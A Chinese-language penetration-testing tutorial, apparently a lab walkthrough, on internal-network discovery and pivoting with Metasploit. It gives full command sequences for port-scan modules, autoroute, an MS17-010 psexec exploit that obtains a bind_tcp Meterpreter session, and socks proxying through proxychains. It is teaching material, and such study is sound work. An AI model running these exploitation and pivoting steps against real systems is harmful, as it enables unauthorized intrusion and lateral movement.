收集内网 IP ,进行端口扫描。
内网渗透-端口扫描
可以说内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点:
- 对当前机器角色的判断
- 对当前机器所处的网络环境进行判断
- 对当前机器所处的网络区域进行判断
通过 ARP 缓存发现内网存活主机
ARP 全称为 Address Resolution Protocol ,即地址解析协议,它是一个根据 IP 地址获取物理地址的 TCP/IP 协议,主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该 IP 地址和物理地址存入本机 ARP 缓存中并保留一定时间,下次请求时直接查询 ARP 缓存以节约资源。
因此,可以通过查看 arp 缓存来发现内网主机:
1 | arp -a |
发现 52 网段的其他存活主机,如 192.168.52.138,192.168.52.143 :
至于这里的 192.168.52.1,192.168.52.254,192.168.52.255 都是无关紧要的网关或者广播地址之类的,不用管。
那么就提取到了两个已知目标:
1 | 192.168.52.138 00-0c-29-1e-96-24 dynamic |
除此之外,也可以通过 msf 查看路由信息,发现内网网段:
1 | meterpreter > run get_local_subnets |
msf 内网端口扫描
msf 端口扫描的模块
先查看一下支持的端口扫描类型:
ACK 防火墙扫描
1 | use auxiliary/scanner/portscan/ack |
SYN 端口扫描
1 | use auxiliary/scanner/portscan/syn |
通过 wireshark
抓包可以看到,底层是通过发送 SYN
数据包去建立三次握手,通过回应的数据包来判断端口是否打开:
TCP 端口扫描
1 | use auxiliary/scanner/portscan/tcp |
同样使用 wireshark
抓包查看,发现和 SYN 扫描原理差不多,区别在于这种扫描会完成三次握手的连接,SYN 扫描直接发送一个 RST 数据包去拒绝连接:
xmas 扫描
1 | use auxiliary/scanner/portscan/xmas |
xmas
扫描通过发送 fin
数据包,根据目标端口是否有回应来判断端口是否打开:
扫描各服务版本
msf 两种内网扫描方式
对上述两个目标进行端口或服务扫描,可以通过配置 msf 路由和 msf 代理来实现。
msf 路由
通过添加路由的方式让 kali 能访问到内网中的其他机器。
打印路由表:
1 | meterpreter > run autoroute -p |
添加路由至本地(添加完后记得再打印一次路由表看添加是否成功):
1 | # meterpreter 原始方法 |
退回至 msf 控制台:
1 | meterpreter > background |
在 msf 控制台打印路由表:
1 | msf6 exploit(multi/handler) > route print |
msf 使用端口扫描模块(TCP 端口扫描器):
1 | msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp |
auxiliary/scanner/portscan/tcp
模块设置:
1 | set rhosts 192.168.52.138 #设置要扫描的内网IP |
MS17-010 内网渗透
搜索有关此漏洞的利用模块:
1 | search ms17-010 |
使用 exploit/windows/smb/ms17_010_psexec
模块:
1 | use 1 |
模块选项设置:
1 | set rhost 192.168.52.138 |
开始执行:
1 | run |
执行结果:
1 | Exploit completed, but no session was created. |
前面的执行都不报错,最后出现这种结果,是因为 kali 能通过各种方式访问到内网中的机器,而内网中的机器无法访问到 kali ,因此无法建立反弹 shell 。
既然反弹 shell 不行,那就建立正向连接。可以看到,该模块默认的 payload 为 windows/meterpreter/reverse_tcp
:
将 payload 改为 windows/meterpreter/bind_tcp
正向连接(kali 主动去连接目标机器):
1 | set payload windows/meterpreter/bind_tcp |
再次执行,成功获取连接:
1 | msf6 exploit(windows/smb/ms17_010_psexec) > run |
查看系统信息:
1 | meterpreter > sysinfo |
msf 代理
简单地说,就是将 kali 能够直接访问到的机器作为代理,进而访问内网中的其他机器。想要配置 msf 代理,那么必须先配置好 msf 路由。
socks 协议
socks 协议工作在会话层,能为各种协议提供代理服务。socks4 与 socks5 的区别在于除了 tcp 协议外,socks5 还支持 udp 协议。
使用 auxiliary/server/socks_proxy 模块设置代理:
1 | use auxiliary/server/socks_proxy |
直接运行即可:
1 | run |
查看代理设置是否成功:
1 | jobs |
设置成功之后就可以利用此代理进行内网扫描了。
关闭代理:
1 | jobs -k [ID] #关闭指定ID的代理 |
**利用 proxychains 使用此代理(当然在其他地方用也是可以的) **
在 proxychains 配置文件的最后一行添加如下内容:
1 | socks5 127.0.0.1 1080 |
测试代理配置是否成功:
1 | proxychains curl http://192.168.52.143/ |
成功得到返回值,说明此时能够访问内网。
那么就可以利用 namp 之类的工具进行扫描了,比如主机发现(未验证成功):
1 | proxychains nmap -sn 192.168.52.0/24 |
再比如 dirb 目录扫描:
1 | proxychains dirb http://192.168.52.143/ |
不过,由于 socks5 仅支持 TCP/UDP 及以上协议,所以有些不使用这些协议的工具是没办法用 socks 代理的。
使用 msf 进行主机发现
设置好代理之后也可以用 msf 的模块进行内网主机发现。
使用 auxiliary/scanner/discovery/udp_sweep 模块进行内网主机发现:
1 | use auxiliary/scanner/discovery/udp_sweep |
设置模块:
1 | set rhosts 192.168.52.0/24 |